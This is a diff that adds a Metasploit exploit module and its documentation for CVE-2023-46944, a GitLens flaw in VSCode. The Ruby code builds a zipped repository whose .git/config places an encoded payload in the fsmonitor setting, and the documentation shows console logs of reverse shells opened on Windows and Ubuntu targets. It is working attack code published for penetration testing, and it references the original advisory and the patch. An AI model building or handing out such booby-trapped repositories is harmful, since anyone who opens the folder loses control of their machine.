diff --git a/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md b/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md new file mode 100644 index 000000000000..8ca6938a9e1b --- /dev/null +++ b/documentation/modules/exploit/multi/fileformat/gitlens_local_config_exec.md @@ -0,0 +1,95 @@ +## Vulnerable Application + +GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git +commands. A repo may include its own .git folder including a malicious config file to +execute arbitrary code. + +Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10 + +### Install + +Download the extension [gitlens-13.6.0.vsix](https://github.com/gitkraken/vscode-gitlens/releases/download/v13.6.0/gitlens-13.6.0.vsix) + +1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, Auto Update Extensions -> None. +1. In VSCode, go to extensions (left side, 4 blocks), click triple dots in top right corner, install from vsix. + +## Verification Steps + +1. Install the extension +1. Start msfconsole +1. Do: `use exploit/multi/fileformat/gitlens_local_config_exec` +1. Do: `run` +1. Unzip the repo +1. Open the folder in Visual Studio Code +1. When prompted, select "No, I don't trust the authors" +1. Open the `README.md` file and put the cursor on the first line. +1. You should get a shell. + +## Options + +### README + +The content of the `README.md` file. Defaults to `# Test` + +## Scenarios + +### VSCode 1.87.2 on Windows 10 Pro (22H2) with GitLens 13.6.0 + +``` +[*] Processing gitlens.rb for ERB directives. +resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec +[*] Using configured payload cmd/unix/reverse_bash +resource (gitlens.rb)> set target 1 +target => 1 +resource (gitlens.rb)> set lhost 192.168.10.147 +lhost => 192.168.10.147 +msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit + +[*] Started reverse TCP handler on 192.168.10.147:4444 +[+] repo.zip stored at /root/.msf4/local/repo.zip +[*] Waiting for shell +``` + +Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line. + +``` +[*] Sending stage (336 bytes) to 192.168.10.100 +[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.100:62807) at 2024-03-19 17:46:46 +0000 + + +Shell Banner: +Microsoft Windows [Version 10.0.19045.4170] +----- + + +C:\Users\h00die\Desktop\repo>whoami +whoami +h00die + +C:\Users\h00die\Desktop\repo> +``` +### VSCode 1.87.2 on Windows 10 Pro (1809), utilizing remote connection to Ubuntu 22.04 with GitLens 13.6.0 installed + +``` +$ ./msfconsole -qr gitlens.rb +[*] Processing gitlens.rb for ERB directives. +resource (gitlens.rb)> use exploit/multi/fileformat/gitlens_local_config_exec +[*] Using configured payload cmd/unix/reverse_bash +resource (gitlens.rb)> set lhost 192.168.10.147 +lhost => 192.168.10.147 +msf6 exploit(multi/fileformat/gitlens_local_config_exec) > exploit + +[*] Started reverse TCP handler on 192.168.10.147:4444 +[+] repo.zip stored at /root/.msf4/local/repo.zip +[*] Waiting for shell +``` + +Unzip the repo, open the folder in Visual Studio Code. When prompted, select "No, I don't trust the authors". Open the `README.md` file and put the cursor on the first line. + +``` +[*] Command shell session 1 opened (192.168.10.147:4444 -> 192.168.10.147:53600) at 2024-03-19 18:26:04 +0000 + +[*] Command shell session 2 opened (192.168.10.147:4444 -> 192.168.10.147:53612) at 2024-03-19 18:26:06 +0000 +id +uid=1000(notroot) gid=1000(notroot) groups=1000(notroot),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),119(docker) +``` \ No newline at end of file diff --git a/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb new file mode 100644 index 000000000000..da259698cada --- /dev/null +++ b/modules/exploits/multi/fileformat/gitlens_local_config_exec.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GitLens Git Local Configuration Exec', + 'Description' => %q{ + GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git + commands. A repo may include its own .git folder including a malicious config file to + execute arbitrary code. + + Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # Metasploit module + 'Paul Gerste', # Original advisory and PoC + ], + 'References' => [ + ['URL', 'https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/'], + ['URL', 'https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/'], # git hook + ['URL', 'https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440'], # patch + ['CVE', '2023-46944'] + ], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => false, + 'FILENAME' => 'repo.zip', + 'WfsDelay' => 3_600 # 1hr + }, + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Linux/Unix (In-Memory)', + { + 'Platform' => [ 'unix', 'linux' ], + 'Type' => :unix_cmd + }, + ], + # There may be a size limit, but using fetch payloads works great + [ + 'PowerShell (In-Memory)', + { + 'Platform' => 'win', + 'Payload' => { + 'BadChars' => '"&' + } + } + ], + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # windows fetch payloads pops up a CMD window for a second, then goes away + }, + 'Privileged' => false, + 'DisclosureDate' => '2023-11-14' + ) + ) + + register_options([ + OptString.new('README', [true, 'The contents of the readme markdown file', '# Test']) + ]) + end + + def readme + datastore['README'].to_s + end + + def git_head + 'ref: refs/heads/master' + end + + def git_config + %([core] + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true + fsmonitor = "#{payload.encoded} #") # without the trailing # windows tacks on . so this avoids corrupting the payload + end + + def exploit + # Create malicious zip archive containing our git repo + files = + [ + { data: readme, fname: 'README.md' }, + { data: git_config, fname: '.git/config' }, + { data: git_head, fname: '.git/HEAD' }, + { data: '', fname: '.git/objects/info/' }, + { data: '', fname: '.git/objects/pack/' }, + { data: '', fname: '.git/refs/heads/' }, + { data: '', fname: '.git/refs/tags/' }, + ] + + zip = Msf::Util::EXE.to_zip(files) + + file_create(zip) + print_status('Waiting for shell') + end +end